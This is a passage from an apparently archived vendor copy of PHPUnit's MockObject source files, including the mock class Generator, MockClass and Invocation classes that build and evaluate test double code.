return false; } /** * Looks up the match builder with identification $id and returns it. * * @param string $id The identification of the match builder */ public function lookupMatcher(string $id): ?Matcher { if (isset($this->matcherMap[$id])) { return $this->matcherMap[$id]; } return null; } /** * Registers a matcher with the identification $id. The matcher can later be * looked up using lookupMatcher() to figure out if it has been invoked. * * @param string $id The identification of the matcher * @param Matcher $matcher The builder which is being registered * * @throws MatcherAlreadyRegisteredException */ public function registerMatcher(string $id, Matcher $matcher): void { if (isset($this->matcherMap[$id])) { throw new MatcherAlreadyRegisteredException($id); } $this->matcherMap[$id] = $matcher; } public function expects(InvocationOrder $rule): InvocationMocker { $matcher = new Matcher($rule); $this->addMatcher($matcher); return new InvocationMocker( $this, $matcher, ...$this->configurableMethods ); } /** * @throws Exception * @throws RuntimeException */ public function invoke(Invocation $invocation) { $exception = null; $hasReturnValue = false; $returnValue = null; foreach ($this->matchers as $match) { try { if ($match->matches($invocation)) { $value = $match->invoked($invocation); if (!$hasReturnValue) { $returnValue = $value; $hasReturnValue = true; } } } catch (Exception $e) { $exception = $e; } } if ($exception !== null) { throw $exception; } if ($hasReturnValue) { return $returnValue; } if (!$this->returnValueGeneration) { $exception = new ReturnValueNotConfiguredException($invocation); if (strtolower($invocation->getMethodName()) === '__tostring') { $this->deferredError = $exception; return ''; } throw $exception; } return $invocation->generateReturnValue(); } public function matches(Invocation $invocation): bool { foreach ($this->matchers as $matcher) { if (!$matcher->matches($invocation)) { return false; } } return true; } /** * @throws Throwable */ public function verify(): void { foreach ($this->matchers as $matcher) { $matcher->verify(); } if ($this->deferredError) { throw $this->deferredError; } } private function addMatcher(Matcher $matcher): void { $this->matchers[] = $matcher; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MockClass.php000064400000003043147577714370023463 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function call_user_func; use function class_exists; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MockClass implements MockType { /** * @var string */ private $classCode; /** * @var class-string */ private $mockName; /** * @var ConfigurableMethod[] */ private $configurableMethods; /** * @psalm-param class-string $mockName */ public function __construct(string $classCode, string $mockName, array $configurableMethods) { $this->classCode = $classCode; $this->mockName = $mockName; $this->configurableMethods = $configurableMethods; } /** * @psalm-return class-string */ public function generate(): string { if (!class_exists($this->mockName, false)) { eval($this->classCode); call_user_func( [ $this->mockName, '__phpunit_initConfigurableMethods', ], ...$this->configurableMethods ); } return $this->mockName; } public function getClassCode(): string { return $this->classCode; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MockType.php000064400000000770147577714370023343 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface MockType { /** * @psalm-return class-string */ public function generate(): string; } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php000064400000002031147577714370024306 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function array_key_exists; use function array_values; use function strtolower; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MockMethodSet { /** * @var MockMethod[] */ private $methods = []; public function addMethods(MockMethod ...$methods): void { foreach ($methods as $method) { $this->methods[strtolower($method->getName())] = $method; } } /** * @return MockMethod[] */ public function asArray(): array { return array_values($this->methods); } public function hasMethod(string $methodName): bool { return array_key_exists(strtolower($methodName), $this->methods); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Generator.php000064400000111152147577714370023533 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use const DIRECTORY_SEPARATOR; use const PHP_EOL; use const PHP_MAJOR_VERSION; use const PREG_OFFSET_CAPTURE; use const WSDL_CACHE_NONE; use function array_merge; use function array_pop; use function array_unique; use function class_exists; use function count; use function explode; use function extension_loaded; use function implode; use function in_array; use function interface_exists; use function is_array; use function is_object; use function md5; use function mt_rand; use function preg_match; use function preg_match_all; use function range; use function serialize; use function sort; use function sprintf; use function str_replace; use function strlen; use function strpos; use function strtolower; use function substr; use function trait_exists; use Doctrine\Instantiator\Exception\ExceptionInterface as InstantiatorException; use Doctrine\Instantiator\Instantiator; use Exception; use Iterator; use IteratorAggregate; use PHPUnit\Framework\InvalidArgumentException; use ReflectionClass; use ReflectionMethod; use SebastianBergmann\Template\Exception as TemplateException; use SebastianBergmann\Template\Template; use SoapClient; use SoapFault; use Throwable; use Traversable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Generator { private const MOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT = <<<'EOT' namespace PHPUnit\Framework\MockObject; trait MockedCloneMethodWithVoidReturnType { public function __clone(): void { $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); } } EOT; private const MOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT = <<<'EOT' namespace PHPUnit\Framework\MockObject; trait MockedCloneMethodWithoutReturnType { public function __clone() { $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); } } EOT; private const UNMOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT = <<<'EOT' namespace PHPUnit\Framework\MockObject; trait UnmockedCloneMethodWithVoidReturnType { public function __clone(): void { $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); parent::__clone(); } } EOT; private const UNMOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT = <<<'EOT' namespace PHPUnit\Framework\MockObject; trait UnmockedCloneMethodWithoutReturnType { public function __clone() { $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); parent::__clone(); } } EOT; /** * @var array */ private const EXCLUDED_METHOD_NAMES = [ '__CLASS__' => true, '__DIR__' => true, '__FILE__' => true, '__FUNCTION__' => true, '__LINE__' => true, '__METHOD__' => true, '__NAMESPACE__' => true, '__TRAIT__' => true, '__clone' => true, '__halt_compiler' => true, ]; /** * @var array */ private static $cache = []; /** * @var Template[] */ private static $templates = []; /** * Returns a mock object for the specified class. * * @param null|array $methods * * @throws \PHPUnit\Framework\InvalidArgumentException * @throws ClassAlreadyExistsException * @throws ClassIsFinalException * @throws DuplicateMethodException * @throws InvalidMethodNameException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownTypeException */ public function getMock(string $type, $methods = [], array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = true, bool $callOriginalMethods = false, object $proxyTarget = null, bool $allowMockingUnknownTypes = true, bool $returnValueGeneration = true): MockObject { if (!is_array($methods) && null !== $methods) { throw InvalidArgumentException::create(2, 'array'); } if ($type === 'Traversable' || $type === '\\Traversable') { $type = 'Iterator'; } if (!$allowMockingUnknownTypes && !class_exists($type, $callAutoload) && !interface_exists($type, $callAutoload)) { throw new UnknownTypeException($type); } if (null !== $methods) { foreach ($methods as $method) { if (!preg_match('~[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*~', (string) $method)) { throw new InvalidMethodNameException((string) $method); } } if ($methods !== array_unique($methods)) { throw new DuplicateMethodException($methods); } } if ($mockClassName !== '' && class_exists($mockClassName, false)) { try { $reflector = new ReflectionClass($mockClassName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if (!$reflector->implementsInterface(MockObject::class)) { throw new ClassAlreadyExistsException($mockClassName); } } if (!$callOriginalConstructor && $callOriginalMethods) { throw new OriginalConstructorInvocationRequiredException; } $mock = $this->generate( $type, $methods, $mockClassName, $callOriginalClone, $callAutoload, $cloneArguments, $callOriginalMethods ); return $this->getObject( $mock, $type, $callOriginalConstructor, $callAutoload, $arguments, $callOriginalMethods, $proxyTarget, $returnValueGeneration ); } /** * @psalm-param list $interfaces * * @throws RuntimeException * @throws UnknownTypeException */ public function getMockForInterfaces(array $interfaces, bool $callAutoload = true): MockObject { if (count($interfaces) < 2) { throw new RuntimeException('At least two interfaces must be specified'); } foreach ($interfaces as $interface) { if (!interface_exists($interface, $callAutoload)) { throw new UnknownTypeException($interface); } } sort($interfaces); $methods = []; foreach ($interfaces as $interface) { $methods = array_merge($methods, $this->getClassMethods($interface)); } if (count(array_unique($methods)) < count($methods)) { throw new RuntimeException('Interfaces must not declare the same method'); } $unqualifiedNames = []; foreach ($interfaces as $interface) { $parts = explode('\\', $interface); $unqualifiedNames[] = array_pop($parts); } sort($unqualifiedNames); do { $intersectionName = sprintf( 'Intersection_%s_%s', implode('_', $unqualifiedNames), substr(md5((string) mt_rand()), 0, 8) ); } while (interface_exists($intersectionName, false)); $template = $this->getTemplate('intersection.tpl'); $template->setVar( [ 'intersection' => $intersectionName, 'interfaces' => implode(', ', $interfaces), ] ); eval($template->render()); return $this->getMock($intersectionName); } /** * Returns a mock object for the specified abstract class with all abstract * methods of the class mocked. * * Concrete methods to mock can be specified with the $mockedMethods parameter. * * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return MockObject&RealInstanceType * * @throws \PHPUnit\Framework\InvalidArgumentException * @throws ClassAlreadyExistsException * @throws ClassIsFinalException * @throws DuplicateMethodException * @throws InvalidMethodNameException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownClassException * @throws UnknownTypeException */ public function getMockForAbstractClass(string $originalClassName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = null, bool $cloneArguments = true): MockObject { if (class_exists($originalClassName, $callAutoload) || interface_exists($originalClassName, $callAutoload)) { try { $reflector = new ReflectionClass($originalClassName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $methods = $mockedMethods; foreach ($reflector->getMethods() as $method) { if ($method->isAbstract() && !in_array($method->getName(), $methods ?? [], true)) { $methods[] = $method->getName(); } } if (empty($methods)) { $methods = null; } return $this->getMock( $originalClassName, $methods, $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $cloneArguments ); } throw new UnknownClassException($originalClassName); } /** * Returns a mock object for the specified trait with all abstract methods * of the trait mocked. Concrete methods to mock can be specified with the * `$mockedMethods` parameter. * * @psalm-param trait-string $traitName * * @throws \PHPUnit\Framework\InvalidArgumentException * @throws ClassAlreadyExistsException * @throws ClassIsFinalException * @throws DuplicateMethodException * @throws InvalidMethodNameException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownClassException * @throws UnknownTraitException * @throws UnknownTypeException */ public function getMockForTrait(string $traitName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = null, bool $cloneArguments = true): MockObject { if (!trait_exists($traitName, $callAutoload)) { throw new UnknownTraitException($traitName); } $className = $this->generateClassName( $traitName, '', 'Trait_' ); $classTemplate = $this->getTemplate('trait_class.tpl'); $classTemplate->setVar( [ 'prologue' => 'abstract ', 'class_name' => $className['className'], 'trait_name' => $traitName, ] ); $mockTrait = new MockTrait($classTemplate->render(), $className['className']); $mockTrait->generate(); return $this->getMockForAbstractClass($className['className'], $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $mockedMethods, $cloneArguments); } /** * Returns an object for the specified trait. * * @psalm-param trait-string $traitName * * @throws ReflectionException * @throws RuntimeException * @throws UnknownTraitException */ public function getObjectForTrait(string $traitName, string $traitClassName = '', bool $callAutoload = true, bool $callOriginalConstructor = false, array $arguments = []): object { if (!trait_exists($traitName, $callAutoload)) { throw new UnknownTraitException($traitName); } $className = $this->generateClassName( $traitName, $traitClassName, 'Trait_' ); $classTemplate = $this->getTemplate('trait_class.tpl'); $classTemplate->setVar( [ 'prologue' => '', 'class_name' => $className['className'], 'trait_name' => $traitName, ] ); return $this->getObject( new MockTrait( $classTemplate->render(), $className['className'] ), '', $callOriginalConstructor, $callAutoload, $arguments ); } /** * @throws ClassIsFinalException * @throws ReflectionException * @throws RuntimeException */ public function generate(string $type, array $methods = null, string $mockClassName = '', bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = true, bool $callOriginalMethods = false): MockClass { if ($mockClassName !== '') { return $this->generateMock( $type, $methods, $mockClassName, $callOriginalClone, $callAutoload, $cloneArguments, $callOriginalMethods ); } $key = md5( $type . serialize($methods) . serialize($callOriginalClone) . serialize($cloneArguments) . serialize($callOriginalMethods) ); if (!isset(self::$cache[$key])) { self::$cache[$key] = $this->generateMock( $type, $methods, $mockClassName, $callOriginalClone, $callAutoload, $cloneArguments, $callOriginalMethods ); } return self::$cache[$key]; } /** * @throws RuntimeException * @throws SoapExtensionNotAvailableException */ public function generateClassFromWsdl(string $wsdlFile, string $className, array $methods = [], array $options = []): string { if (!extension_loaded('soap')) { throw new SoapExtensionNotAvailableException; } $options = array_merge($options, ['cache_wsdl' => WSDL_CACHE_NONE]); try { $client = new SoapClient($wsdlFile, $options); $_methods = array_unique($client->__getFunctions()); unset($client); } catch (SoapFault $e) { throw new RuntimeException( $e->getMessage(), (int) $e->getCode(), $e ); } sort($_methods); $methodTemplate = $this->getTemplate('wsdl_method.tpl'); $methodsBuffer = ''; foreach ($_methods as $method) { preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\(/', $method, $matches, PREG_OFFSET_CAPTURE); $lastFunction = array_pop($matches[0]); $nameStart = $lastFunction[1]; $nameEnd = $nameStart + strlen($lastFunction[0]) - 1; $name = str_replace('(', '', $lastFunction[0]); if (empty($methods) || in_array($name, $methods, true)) { $args = explode( ',', str_replace(')', '', substr($method, $nameEnd + 1)) ); foreach (range(0, count($args) - 1) as $i) { $parameterStart = strpos($args[$i], '$'); if (!$parameterStart) { continue; } $args[$i] = substr($args[$i], $parameterStart); } $methodTemplate->setVar( [ 'method_name' => $name, 'arguments' => implode(', ', $args), ] ); $methodsBuffer .= $methodTemplate->render(); } } $optionsBuffer = '['; foreach ($options as $key => $value) { $optionsBuffer .= $key . ' => ' . $value; } $optionsBuffer .= ']'; $classTemplate = $this->getTemplate('wsdl_class.tpl'); $namespace = ''; if (strpos($className, '\\') !== false) { $parts = explode('\\', $className); $className = array_pop($parts); $namespace = 'namespace ' . implode('\\', $parts) . ';' . "\n\n"; } $classTemplate->setVar( [ 'namespace' => $namespace, 'class_name' => $className, 'wsdl' => $wsdlFile, 'options' => $optionsBuffer, 'methods' => $methodsBuffer, ] ); return $classTemplate->render(); } /** * @throws ReflectionException * * @return string[] */ public function getClassMethods(string $className): array { try { $class = new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $methods = []; foreach ($class->getMethods() as $method) { if ($method->isPublic() || $method->isAbstract()) { $methods[] = $method->getName(); } } return $methods; } /** * @throws ReflectionException * * @return MockMethod[] */ public function mockClassMethods(string $className, bool $callOriginalMethods, bool $cloneArguments): array { try { $class = new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $methods = []; foreach ($class->getMethods() as $method) { if (($method->isPublic() || $method->isAbstract()) && $this->canMockMethod($method)) { $methods[] = MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments); } } return $methods; } /** * @throws ReflectionException * * @return MockMethod[] */ public function mockInterfaceMethods(string $interfaceName, bool $cloneArguments): array { try { $class = new ReflectionClass($interfaceName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $methods = []; foreach ($class->getMethods() as $method) { $methods[] = MockMethod::fromReflection($method, false, $cloneArguments); } return $methods; } /** * @psalm-param class-string $interfaceName * * @throws ReflectionException * * @return ReflectionMethod[] */ private function userDefinedInterfaceMethods(string $interfaceName): array { try { // @codeCoverageIgnoreStart $interface = new ReflectionClass($interfaceName); } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $methods = []; foreach ($interface->getMethods() as $method) { if (!$method->isUserDefined()) { continue; } $methods[] = $method; } return $methods; } /** * @throws ReflectionException * @throws RuntimeException */ private function getObject(MockType $mockClass, $type = '', bool $callOriginalConstructor = false, bool $callAutoload = false, array $arguments = [], bool $callOriginalMethods = false, object $proxyTarget = null, bool $returnValueGeneration = true) { $className = $mockClass->generate(); if ($callOriginalConstructor) { if (count($arguments) === 0) { $object = new $className; } else { try { $class = new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $object = $class->newInstanceArgs($arguments); } } else { try { $object = (new Instantiator)->instantiate($className); } catch (InstantiatorException $e) { throw new RuntimeException($e->getMessage()); } } if ($callOriginalMethods) { if (!is_object($proxyTarget)) { if (count($arguments) === 0) { $proxyTarget = new $type; } else { try { $class = new ReflectionClass($type); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $proxyTarget = $class->newInstanceArgs($arguments); } } $object->__phpunit_setOriginalObject($proxyTarget); } if ($object instanceof MockObject) { $object->__phpunit_setReturnValueGeneration($returnValueGeneration); } return $object; } /** * @throws ClassIsFinalException * @throws ReflectionException * @throws RuntimeException */ private function generateMock(string $type, ?array $explicitMethods, string $mockClassName, bool $callOriginalClone, bool $callAutoload, bool $cloneArguments, bool $callOriginalMethods): MockClass { $classTemplate = $this->getTemplate('mocked_class.tpl'); $additionalInterfaces = []; $mockedCloneMethod = false; $unmockedCloneMethod = false; $isClass = false; $isInterface = false; $class = null; $mockMethods = new MockMethodSet; $_mockClassName = $this->generateClassName( $type, $mockClassName, 'Mock_' ); if (class_exists($_mockClassName['fullClassName'], $callAutoload)) { $isClass = true; } elseif (interface_exists($_mockClassName['fullClassName'], $callAutoload)) { $isInterface = true; } if (!$isClass && !$isInterface) { $prologue = 'class ' . $_mockClassName['originalClassName'] . "\n{\n}\n\n"; if (!empty($_mockClassName['namespaceName'])) { $prologue = 'namespace ' . $_mockClassName['namespaceName'] . " {\n\n" . $prologue . "}\n\n" . "namespace {\n\n"; $epilogue = "\n\n}"; } $mockedCloneMethod = true; } else { try { $class = new ReflectionClass($_mockClassName['fullClassName']); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($class->isFinal()) { throw new ClassIsFinalException($_mockClassName['fullClassName']); } // @see https://github.com/sebastianbergmann/phpunit/issues/2995 if ($isInterface && $class->implementsInterface(Throwable::class)) { $actualClassName = Exception::class; $additionalInterfaces[] = $class->getName(); $isInterface = false; try { $class = new ReflectionClass($actualClassName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd foreach ($this->userDefinedInterfaceMethods($_mockClassName['fullClassName']) as $method) { $methodName = $method->getName(); if ($class->hasMethod($methodName)) { try { $classMethod = $class->getMethod($methodName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if (!$this->canMockMethod($classMethod)) { continue; } } $mockMethods->addMethods( MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments) ); } $_mockClassName = $this->generateClassName( $actualClassName, $_mockClassName['className'], 'Mock_' ); } // @see https://github.com/sebastianbergmann/phpunit-mock-objects/issues/103 if ($isInterface && $class->implementsInterface(Traversable::class) && !$class->implementsInterface(Iterator::class) && !$class->implementsInterface(IteratorAggregate::class)) { $additionalInterfaces[] = Iterator::class; $mockMethods->addMethods( ...$this->mockClassMethods(Iterator::class, $callOriginalMethods, $cloneArguments) ); } if ($class->hasMethod('__clone')) { try { $cloneMethod = $class->getMethod('__clone'); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if (!$cloneMethod->isFinal()) { if ($callOriginalClone && !$isInterface) { $unmockedCloneMethod = true; } else { $mockedCloneMethod = true; } } } else { $mockedCloneMethod = true; } } if ($isClass && $explicitMethods === []) { $mockMethods->addMethods( ...$this->mockClassMethods($_mockClassName['fullClassName'], $callOriginalMethods, $cloneArguments) ); } if ($isInterface && ($explicitMethods === [] || $explicitMethods === null)) { $mockMethods->addMethods( ...$this->mockInterfaceMethods($_mockClassName['fullClassName'], $cloneArguments) ); } if (is_array($explicitMethods)) { foreach ($explicitMethods as $methodName) { if ($class !== null && $class->hasMethod($methodName)) { try { $method = $class->getMethod($methodName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($this->canMockMethod($method)) { $mockMethods->addMethods( MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments) ); } } else { $mockMethods->addMethods( MockMethod::fromName( $_mockClassName['fullClassName'], $methodName, $cloneArguments ) ); } } } $mockedMethods = ''; $configurable = []; foreach ($mockMethods->asArray() as $mockMethod) { $mockedMethods .= $mockMethod->generateCode(); $configurable[] = new ConfigurableMethod($mockMethod->getName(), $mockMethod->getReturnType()); } $method = ''; if (!$mockMethods->hasMethod('method') && (!isset($class) || !$class->hasMethod('method'))) { $method = PHP_EOL . ' use \PHPUnit\Framework\MockObject\Method;'; } $cloneTrait = ''; if ($mockedCloneMethod) { $cloneTrait = $this->mockedCloneMethod(); } if ($unmockedCloneMethod) { $cloneTrait = $this->unmockedCloneMethod(); } $classTemplate->setVar( [ 'prologue' => $prologue ?? '', 'epilogue' => $epilogue ?? '', 'class_declaration' => $this->generateMockClassDeclaration( $_mockClassName, $isInterface, $additionalInterfaces ), 'clone' => $cloneTrait, 'mock_class_name' => $_mockClassName['className'], 'mocked_methods' => $mockedMethods, 'method' => $method, ] ); return new MockClass( $classTemplate->render(), $_mockClassName['className'], $configurable ); } private function generateClassName(string $type, string $className, string $prefix): array { if ($type[0] === '\\') { $type = substr($type, 1); } $classNameParts = explode('\\', $type); if (count($classNameParts) > 1) { $type = array_pop($classNameParts); $namespaceName = implode('\\', $classNameParts); $fullClassName = $namespaceName . '\\' . $type; } else { $namespaceName = ''; $fullClassName = $type; } if ($className === '') { do { $className = $prefix . $type . '_' . substr(md5((string) mt_rand()), 0, 8); } while (class_exists($className, false)); } return [ 'className' => $className, 'originalClassName' => $type, 'fullClassName' => $fullClassName, 'namespaceName' => $namespaceName, ]; } private function generateMockClassDeclaration(array $mockClassName, bool $isInterface, array $additionalInterfaces = []): string { $buffer = 'class '; $additionalInterfaces[] = MockObject::class; $interfaces = implode(', ', $additionalInterfaces); if ($isInterface) { $buffer .= sprintf( '%s implements %s', $mockClassName['className'], $interfaces ); if (!in_array($mockClassName['originalClassName'], $additionalInterfaces, true)) { $buffer .= ', '; if (!empty($mockClassName['namespaceName'])) { $buffer .= $mockClassName['namespaceName'] . '\\'; } $buffer .= $mockClassName['originalClassName']; } } else { $buffer .= sprintf( '%s extends %s%s implements %s', $mockClassName['className'], !empty($mockClassName['namespaceName']) ? $mockClassName['namespaceName'] . '\\' : '', $mockClassName['originalClassName'], $interfaces ); } return $buffer; } private function canMockMethod(ReflectionMethod $method): bool { return !($this->isConstructor($method) || $method->isFinal() || $method->isPrivate() || $this->isMethodNameExcluded($method->getName())); } private function isMethodNameExcluded(string $name): bool { return isset(self::EXCLUDED_METHOD_NAMES[$name]); } /** * @throws RuntimeException */ private function getTemplate(string $template): Template { $filename = __DIR__ . DIRECTORY_SEPARATOR . 'Generator' . DIRECTORY_SEPARATOR . $template; if (!isset(self::$templates[$filename])) { try { self::$templates[$filename] = new Template($filename); } catch (TemplateException $e) { throw new RuntimeException( $e->getMessage(), (int) $e->getCode(), $e ); } } return self::$templates[$filename]; } /** * @see https://github.com/sebastianbergmann/phpunit/issues/4139#issuecomment-605409765 */ private function isConstructor(ReflectionMethod $method): bool { $methodName = strtolower($method->getName()); if ($methodName === '__construct') { return true; } if (PHP_MAJOR_VERSION >= 8) { return false; } $className = strtolower($method->getDeclaringClass()->getName()); return $methodName === $className; } private function mockedCloneMethod(): string { if (PHP_MAJOR_VERSION >= 8) { if (!trait_exists('\PHPUnit\Framework\MockObject\MockedCloneMethodWithVoidReturnType')) { eval(self::MOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT); } return PHP_EOL . ' use \PHPUnit\Framework\MockObject\MockedCloneMethodWithVoidReturnType;'; } if (!trait_exists('\PHPUnit\Framework\MockObject\MockedCloneMethodWithoutReturnType')) { eval(self::MOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT); } return PHP_EOL . ' use \PHPUnit\Framework\MockObject\MockedCloneMethodWithoutReturnType;'; } private function unmockedCloneMethod(): string { if (PHP_MAJOR_VERSION >= 8) { if (!trait_exists('\PHPUnit\Framework\MockObject\UnmockedCloneMethodWithVoidReturnType')) { eval(self::UNMOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT); } return PHP_EOL . ' use \PHPUnit\Framework\MockObject\UnmockedCloneMethodWithVoidReturnType;'; } if (!trait_exists('\PHPUnit\Framework\MockObject\UnmockedCloneMethodWithoutReturnType')) { eval(self::UNMOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT); } return PHP_EOL . ' use \PHPUnit\Framework\MockObject\UnmockedCloneMethodWithoutReturnType;'; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php000064400000002054147577714370025673 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function is_string; use function sprintf; use function strtolower; use PHPUnit\Framework\Constraint\Constraint; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodNameConstraint extends Constraint { /** * @var string */ private $methodName; public function __construct(string $methodName) { $this->methodName = $methodName; } public function toString(): string { return sprintf( 'is "%s"', $this->methodName ); } protected function matches($other): bool { if (!is_string($other)) { return false; } return strtolower($this->methodName) === strtolower($other); } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation.php000064400000017045147577714370023724 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function array_map; use function explode; use function get_class; use function implode; use function is_object; use function sprintf; use function strpos; use function strtolower; use function substr; use Doctrine\Instantiator\Instantiator; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Util\Type; use SebastianBergmann\Exporter\Exporter; use stdClass; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Invocation implements SelfDescribing { /** * @var string */ private $className; /** * @var string */ private $methodName; /** * @var array */ private $parameters; /** * @var string */ private $returnType; /** * @var bool */ private $isReturnTypeNullable = false; /** * @var bool */ private $proxiedCall; /** * @var object */ private $object; public function __construct(string $className, string $methodName, array $parameters, string $returnType, object $object, bool $cloneObjects = false, bool $proxiedCall = false) { $this->className = $className; $this->methodName = $methodName; $this->parameters = $parameters; $this->object = $object; $this->proxiedCall = $proxiedCall; if (strtolower($methodName) === '__tostring') { $returnType = 'string'; } if (strpos($returnType, '?') === 0) { $returnType = substr($returnType, 1); $this->isReturnTypeNullable = true; } $this->returnType = $returnType; if (!$cloneObjects) { return; } foreach ($this->parameters as $key => $value) { if (is_object($value)) { $this->parameters[$key] = $this->cloneObject($value); } } } public function getClassName(): string { return $this->className; } public function getMethodName(): string { return $this->methodName; } public function getParameters(): array { return $this->parameters; } /** * @throws RuntimeException * * @return mixed Mocked return value */ public function generateReturnValue() { if ($this->isReturnTypeNullable || $this->proxiedCall) { return null; } $intersection = false; $union = false; if (strpos($this->returnType, '|') !== false) { $types = explode('|', $this->returnType); $union = true; } elseif (strpos($this->returnType, '&') !== false) { $types = explode('&', $this->returnType); $intersection = true; } else { $types = [$this->returnType]; } $types = array_map('strtolower', $types); if (!$intersection) { if (in_array('', $types, true) || in_array('null', $types, true) || in_array('mixed', $types, true) || in_array('void', $types, true)) { return null; } if (in_array('false', $types, true) || in_array('bool', $types, true)) { return false; } if (in_array('float', $types, true)) { return 0.0; } if (in_array('int', $types, true)) { return 0; } if (in_array('string', $types, true)) { return ''; } if (in_array('array', $types, true)) { return []; } if (in_array('static', $types, true)) { try { return (new Instantiator)->instantiate(get_class($this->object)); } catch (Throwable $t) { throw new RuntimeException( $t->getMessage(), (int) $t->getCode(), $t ); } } if (in_array('object', $types, true)) { return new stdClass; } if (in_array('callable', $types, true) || in_array('closure', $types, true)) { return static function (): void { }; } if (in_array('traversable', $types, true) || in_array('generator', $types, true) || in_array('iterable', $types, true)) { $generator = static function (): \Generator { yield from []; }; return $generator(); } if (!$union) { try { return (new Generator)->getMock($this->returnType, [], [], '', false); } catch (Throwable $t) { if ($t instanceof Exception) { throw $t; } throw new RuntimeException( $t->getMessage(), (int) $t->getCode(), $t ); } } } $reason = ''; if ($union) { $reason = ' because the declared return type is a union'; } elseif ($intersection) { $reason = ' 